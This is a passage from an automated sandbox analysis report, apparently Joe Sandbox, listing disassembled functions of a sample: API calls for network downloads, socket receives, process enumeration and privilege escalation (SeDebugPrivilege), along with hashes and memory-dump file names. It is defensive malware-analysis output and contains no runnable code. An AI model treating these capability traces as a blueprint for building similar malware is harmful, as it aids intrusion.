_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BA570
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BA576
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BA599
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BA59F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BA5A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BA5C8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BA5CE

Strings

value, xrefs: 00007FF75A6BA05A, 00007FF75A6BA2F3

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: value
API String ID: 1346393832-494360628
Opcode ID: 3e54b0dc01a401ce8642f37316c843054398c55b0e4cf8c14dc2c7335e535bb8
Instruction ID: e55880791f15846112e834e7d501bcd309dcbef56f96fb125f03a4564d2f46bf
Opcode Fuzzy Hash: 3e54b0dc01a401ce8642f37316c843054398c55b0e4cf8c14dc2c7335e535bb8
Instruction Fuzzy Hash: 6102C363A18BC585FB00EB74E4403ADA761EF957A4F985271FA9D02ADADF3CD581C310

Function 00007FF75A6F4A30 Relevance: 19.9, APIs: 13, Instructions: 417
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32 ref: 00007FF75A6F4C0C
recv.WS2_32 ref: 00007FF75A6F50EC
closesocket.WS2_32 ref: 00007FF75A6F50FE
WSACleanup.WS2_32 ref: 00007FF75A6F5104
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F51FC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5202
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5208
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F520E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5214
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F521A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5226
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F522C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5232

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$recv$Cleanupclosesocket
String ID:
API String ID: 3402187201-0
Opcode ID: 12860b5ddff3f34fd62ad53aec26b9849f54247f596dc9dee8b20d445a1b2cd2
Instruction ID: 60bbfa91ea6db182a745b349071ef0c5bbe00b975b9290930d406df09884d083
Opcode Fuzzy Hash: 12860b5ddff3f34fd62ad53aec26b9849f54247f596dc9dee8b20d445a1b2cd2
Instruction Fuzzy Hash: DB128472A1CBC681FA20AB14E4443EEA752FF89B90F945671D6AD02AD9DF7CD481C710

Function 00007FF75A6EC600 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75A6EF820: GetCurrentProcess.KERNEL32 ref: 00007FF75A6EF85B
Part of subcall function 00007FF75A6EF820: OpenProcessToken.ADVAPI32 ref: 00007FF75A6EF86E
Part of subcall function 00007FF75A6EF820: GetTokenInformation.KERNELBASE ref: 00007FF75A6EF8AA
Part of subcall function 00007FF75A6EF820: CloseHandle.KERNEL32 ref: 00007FF75A6EF8CB

ExitProcess.KERNEL32 ref: 00007FF75A6EC647
OpenMutexA.KERNEL32 ref: 00007FF75A6EC762
ExitProcess.KERNEL32 ref: 00007FF75A6EC772

Part of subcall function 00007FF75A6EFB60: GetModuleFileNameW.KERNEL32 ref: 00007FF75A6EFBAA

Part of subcall function 00007FF75A6FA780: CoInitializeEx.OLE32 ref: 00007FF75A6FA7EA

Strings

SeImpersonatePrivilege, xrefs: 00007FF75A6EC65A
SeDebugPrivilege, xrefs: 00007FF75A6EC64E

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Process$ExitOpenToken$CloseCurrentFileHandleInformationInitializeModuleMutexName
String ID: SeDebugPrivilege$SeImpersonatePrivilege
API String ID: 3348294976-3768118664
Opcode ID: d5d44ca92a040ee4e410c958502b53e018e993706342e0dca52848d24418983b
Instruction ID: 15a6c6dd489e74a55e8b2c99d889e42b3379c261814c70905dbc1b07b5629bc9
Opcode Fuzzy Hash: d5d44ca92a040ee4e410c958502b53e018e993706342e0dca52848d24418983b
Instruction Fuzzy Hash: 5B61F621E0CA8381FB10BB64A4113BFE352FF99B80FD845B5E69E426D6DF2CE4418760

Function 00007FF75A6F5240 Relevance: 16.9, APIs: 11, Instructions: 408networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 00007FF75A6F540B
InternetOpenUrlA.WININET ref: 00007FF75A6F54E8
HttpQueryInfoW.WININET ref: 00007FF75A6F5549
HttpQueryInfoW.WININET ref: 00007FF75A6F55E2
InternetQueryDataAvailable.WININET ref: 00007FF75A6F5626
InternetReadFile.WININET ref: 00007FF75A6F56E9
InternetQueryDataAvailable.WININET ref: 00007FF75A6F57B4
InternetCloseHandle.WININET ref: 00007FF75A6F585E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F58AF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F58B5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6F58BB

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Internet$Query$AvailableDataHttpInfoOpen_invalid_parameter_noinfo_noreturn$CloseConcurrency::cancel_current_taskFileHandleRead
String ID:
API String ID: 1352168858-0
Opcode ID: 588572fb0266df13e665af572d70418bb49ee0589e6a4750570cf6cdd49d9c4e
Instruction ID: d85c4cf809fb80dd85f593a0ca2d03cf6a1253a6c5e0c75126a94abb050e62e4
Opcode Fuzzy Hash: 588572fb0266df13e665af572d70418bb49ee0589e6a4750570cf6cdd49d9c4e
Instruction Fuzzy Hash: D4027E32A18B9685FB10DF69E84036EB7A5FB89B94F540235EE9C13B98DF78D481C710

Function 00007FF75A6AE610 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 328processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF75A6AE65A
Process32FirstW.KERNEL32 ref: 00007FF75A6AE69C
Process32NextW.KERNEL32 ref: 00007FF75A6AE893
CloseHandle.KERNEL32 ref: 00007FF75A6AEB0A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AEBA3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AEBA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AEBAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AEBB5

Strings

[PID: , xrefs: 00007FF75A6AE6DE

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID: [PID:
API String ID: 1946380282-2210602247
Opcode ID: 2a77548614a6a962c075d3f7b49583f0be03757688cfd80121847701f37274ed
Instruction ID: dc28ceb687ee7b10cf4dd0c5e6986aa7f082ec8989ff401c1fbe55700e2e516d
Opcode Fuzzy Hash: 2a77548614a6a962c075d3f7b49583f0be03757688cfd80121847701f37274ed
Instruction Fuzzy Hash: DDE1B472A18BC185E720EF25E4803EDB7A1FB89B94F944635EA9D07B99DF38D640C710

Function 00007FF75A6AECB0 Relevance: 15.7, APIs: 10, Instructions: 715COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9A1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9A7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9AD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9B9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9BF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9C5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9CB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9D1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AF9D7

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 26448f67865e6e62aac5c21961d5f8cbc45babdff8ed66c86881f54e24fef089
Instruction ID: b9fa6123c439d92adab5594b27bed4ef0088fc6a4605ffc288b9eea7c929e70f
Opcode Fuzzy Hash: 26448f67865e6e62aac5c21961d5f8cbc45babdff8ed66c86881f54e24fef089
Instruction Fuzzy Hash: A5726E72A19BC589EB209F65E8403ADB3A1FB89798F544335EADC17B99DF38D140C710

Function 00007FF75A6EF020 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 451fileCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00007FF75A6EF261
SetFilePointer.KERNEL32 ref: 00007FF75A6EF314
ReadFile.KERNEL32 ref: 00007FF75A6EF343
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6EF7D7

Strings

exists, xrefs: 00007FF75A6EF7CA
ios_base::badbit set, xrefs: 00007FF75A6EF771, 00007FF75A6EF7EF
ios_base::failbit set, xrefs: 00007FF75A6EF77D
ios_base::eofbit set, xrefs: 00007FF75A6EF784

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: File$PointerReadSize_invalid_parameter_noinfo_noreturn
String ID: exists$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2478245620-15404121
Opcode ID: 8bb140352be7690a3ef2351056c6da897ec86c921e423387d734bbc8aa70d5de
Instruction ID: c04e7f250aafc12b377ab82304fd10a2f20d7f6b2fb01cae96a55e7a23e1e9ea
Opcode Fuzzy Hash: 8bb140352be7690a3ef2351056c6da897ec86c921e423387d734bbc8aa70d5de
Instruction Fuzzy Hash: E3324832A04BC68AEB20DF34D8803ED77A1FB84B48F848676DA4D47A99EF79D545C710

Function 00007FF75A712E3C Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 335timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF75A712E81

Part of subcall function 00007FF75A7124E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A7124FC

Part of subcall function 00007FF75A70D3C8: RtlFreeHeap.NTDLL ref: 00007FF75A70D3DE
Part of subcall function 00007FF75A70D3C8: GetLastError.KERNEL32 ref: 00007FF75A70D3E8

Part of subcall function 00007FF75A708284: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF75A708233,?,?,?,?,-2723E8D8DEBC5093,00007FF75A70811E), ref: 00007FF75A70828D
Part of subcall function 00007FF75A708284: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF75A708233,?,?,?,?,-2723E8D8DEBC5093,00007FF75A70811E), ref: 00007FF75A7082B2

Part of subcall function 00007FF75A71BA84: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A71B9CF

_get_daylight.LIBCMT ref: 00007FF75A712E70

Part of subcall function 00007FF75A712548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A71255C

_get_daylight.LIBCMT ref: 00007FF75A7130E6
_get_daylight.LIBCMT ref: 00007FF75A7130F7
_get_daylight.LIBCMT ref: 00007FF75A713108
GetTimeZoneInformation.KERNEL32(00007FF75A7133F8), ref: 00007FF75A71312F

Strings

Eastern Summer Time, xrefs: 00007FF75A7131ED
Eastern Standard Time, xrefs: 00007FF75A7131D5

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 6ff4704e37b1592320c13e659d1f856dd22dc212be1b833c6838491f576543a9
Instruction ID: 5c18e19afb0dbc6f2981d90310b0f0ee9b7d2519aac444d80b9df067ea0c2165
Opcode Fuzzy Hash: 6ff4704e37b1592320c13e659d1f856dd22dc212be1b833c6838491f576543a9
Instruction Fuzzy Hash: D2D1B162E0824286FB60BF25D8515B9E7A1FF8CB94FC84876EE1D47685DF3CE44187A0

Function 00007FF75A730658 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75A73023C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A73027D
Part of subcall function 00007FF75A73023C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A7302FB
Part of subcall function 00007FF75A73023C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A73034C

CreateFileW.KERNEL32 ref: 00007FF75A73075E
CreateFileW.KERNEL32 ref: 00007FF75A7307AE
GetLastError.KERNEL32 ref: 00007FF75A7307DE
GetFileType.KERNEL32 ref: 00007FF75A7307F3
GetLastError.KERNEL32 ref: 00007FF75A7307FD
CloseHandle.KERNEL32 ref: 00007FF75A730830
CloseHandle.KERNEL32 ref: 00007FF75A730993
CreateFileW.KERNEL32 ref: 00007FF75A7309C8
GetLastError.KERNEL32 ref: 00007FF75A7309D7

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 9219a76bbf5b0a68fd8075754a2c2160bfaa822f6e476498c8a23ea95eed312f
Instruction ID: bec5ac3f074fb654805e8482334b0097af4466f672c235e4a82a5d4219f01f96
Opcode Fuzzy Hash: 9219a76bbf5b0a68fd8075754a2c2160bfaa822f6e476498c8a23ea95eed312f
Instruction Fuzzy Hash: B0C1CF37B24A4586FB10EF65C4902AC7B61FB4DB98F894676DA1E5B794CF38D412C310

Function 00007FF75A7130B8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF75A7130E6

Part of subcall function 00007FF75A712548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A71255C

_get_daylight.LIBCMT ref: 00007FF75A7130F7

Part of subcall function 00007FF75A7124E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A7124FC

_get_daylight.LIBCMT ref: 00007FF75A713108

Part of subcall function 00007FF75A712518: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A71252C

Part of subcall function 00007FF75A70D3C8: RtlFreeHeap.NTDLL ref: 00007FF75A70D3DE
Part of subcall function 00007FF75A70D3C8: GetLastError.KERNEL32 ref: 00007FF75A70D3E8

GetTimeZoneInformation.KERNEL32(00007FF75A7133F8), ref: 00007FF75A71312F

Strings

Eastern Summer Time, xrefs: 00007FF75A7131ED
Eastern Standard Time, xrefs: 00007FF75A7131D5

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 12951480f3fe79566017d45e51369301be5158125170c6a9e6aaf334c955a331
Instruction ID: dcd95761984d8fce296581b731d48d39dea6657d36d9b99113b5c75238694a5b
Opcode Fuzzy Hash: 12951480f3fe79566017d45e51369301be5158125170c6a9e6aaf334c955a331
Instruction Fuzzy Hash: 39519132E0864296F750FF21E8914A9E7A0FF4C784FC859B6EA1D43696DF3CE40187A4

Function 00007FF75A70918C Relevance: 9.2, APIs: 6, Instructions: 227COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A7091AE
_get_daylight.LIBCMT ref: 00007FF75A70920E
_get_daylight.LIBCMT ref: 00007FF75A70921F
_get_daylight.LIBCMT ref: 00007FF75A709230
_isindst.LIBCMT ref: 00007FF75A709281
_isindst.LIBCMT ref: 00007FF75A7092D4

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _get_daylight$_isindst$_invalid_parameter_noinfo
String ID:
API String ID: 1405656091-0
Opcode ID: cd6fea744430340711cd49b3e9bdbfdb1b852b0eb5a7692198664b91c055b650
Instruction ID: a7b980611740eedfd6e32c40b1e5ac1f9b14b7fdcaf48236bf3527d493084f86
Opcode Fuzzy Hash: cd6fea744430340711cd49b3e9bdbfdb1b852b0eb5a7692198664b91c055b650
Instruction Fuzzy Hash: 1181C9B2F042464BFB589F24CD413B9A395FF58788F889535DA0D4A789EF3CE5408B50

Function 00007FF75A6F6860 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 268COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F6C4B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F6C51
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F6C57
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F6C5D

Strings

cores, xrefs: 00007FF75A6F6ABE

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: cores
API String ID: 3668304517-2370456839
Opcode ID: 31f0030ddac62d43ccb76350325948b38685225ff49a737a645bd96adc2c858d
Instruction ID: aeeaa6e09f0115f0046b22c7c7aeff538434a29a6665b9f2557b9ee2d7de4d76
Opcode Fuzzy Hash: 31f0030ddac62d43ccb76350325948b38685225ff49a737a645bd96adc2c858d
Instruction Fuzzy Hash: E2C10863E08B8289F710DF78D4413ACB762FB997A8F545735EA9C12A9ADF38D181C350

Function 00007FF75A6FB9B0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF75A6FB9FE
OpenProcessToken.ADVAPI32 ref: 00007FF75A6FBA11
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF75A6FBA32
AdjustTokenPrivileges.KERNELBASE ref: 00007FF75A6FBA78
CloseHandle.KERNEL32 ref: 00007FF75A6FBA98

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

